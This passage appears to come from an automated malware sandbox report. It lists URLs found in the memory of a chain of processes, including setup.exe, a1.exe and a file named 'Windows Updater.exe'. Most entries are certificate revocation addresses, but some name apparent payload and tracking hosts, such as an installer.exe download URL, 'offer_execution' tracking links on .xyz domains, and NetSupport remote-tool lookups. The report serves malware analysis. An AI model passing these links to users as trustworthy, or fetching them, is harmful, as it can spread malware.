Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2985131849.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155650420.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553914280.0000000000EFF000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3553170180.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178948075.0000000001479000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3485745469.00000000036C7000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0=
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192460011.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 1922353491.exe, 00000024.00000002.3686040918.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: a1.exe, a1.exe, 00000015.00000003.2985131849.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2987076425.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3153855347.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: a1.exe, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1627&a=2598&dn=286&spot=1&t=1
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1657&a=2598&dn=415&spot=4&t=1
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1658&a=2598&dn=416&spot=7&t=1
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1662&a=2598&dn=420&spot=5&t=1
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.0000000002518000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=17
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=365&a=2598&dn=310&spot=6&t=17
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1657&a=2598&dn=415&spot=4&t=
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1661&a=2598&dn=419&spot=3&t=
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1662&a=2598&dn=420&spot=5&t=
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=331&a=2598&dn=244&spot=2&t=1
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=365&a=2598&dn=310&spot=6&t=1
Source: a1.exe, 00000015.00000003.2983645174.0000000003E57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: a1.exe, 00000015.00000003.2983645174.0000000003E57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0
Source: a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;
Source: wmiprvse.exe, 0000000F.00000002.3906483133.00000000003A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/
Source: wmiprvse.exe, 0000000F.00000002.3906483133.0000000000327000.00000004.00000020.00020000.00000000.sdmp, wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp, wmiprvse.exe, 0000000F.00000002.3906483133.0000000000374000.00000004.00000020.00020000.00000000.sdmp, wmiprvse.exe, 0000000F.00000002.3906483133.000000000033E000.00000004.00000020.00020000.00000000.sdmp, wmiprvse.exe, 0000000F.00000002.3906483133.00000000003A0000.00000004.00000020.00020000.00000000.sdmp, wmiprvse.exe, 0000000F.00000002.3917476063.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://goo.gl/fxTiKZ
Source: ZmWSzgevgt.exe, 00000000.00000002.3908082848.00000000021E4000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2030706588.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038FD000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3922593298.00000000038BA000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2036525086.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hammercakes.xyz/ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyL
Source: a1.exe, 00000015.00000003.2984588513.0000000003F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c0
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041EC000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.000000000080C000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://kapetownlink.com/installer.exe
Source: setup.tmp, 00000004.00000002.3905045565.000000000018F000.00000004.00000010.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3929028707.0000000010038000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.3925711182.00000000039B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://mitrichsoftware.wordpress.comB
Source: a3.exe, 00000021.00000002.3929526900.0000000003F48000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/5
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/53qb
Source: a3.exe, 00000021.00000002.3929526900.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3928855896.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/7
Source: a3.exe, 00000021.00000002.3929526900.0000000003F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/70Ro
Source: a3.exe, 00000021.00000002.3928855896.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/7atch
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/7dvS
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/7vw
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/archives/7yv
Source: a3.exe, 00000021.00000002.3928724776.0000000003DD6000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/0/0
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/0/0Nv
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/0/0Xv
Source: a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/0/0gqN
Source: a3.exe, 00000021.00000002.3928724776.0000000003DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/0/0mysoftwareusa.infow
Source: a3.exe, 00000021.00000002.3928724776.0000000003DD6000.00000004.00000020.00020000.00000000.sdmp, a3.exe, 00000021.00000002.3929263733.0000000003E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mysoftwareusa.info/stats/3/1/0
Source: a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EFA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112381147.0000000005900000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155110918.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980725509.0000000003F0E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3181362430.0000000002540000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3178975045.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 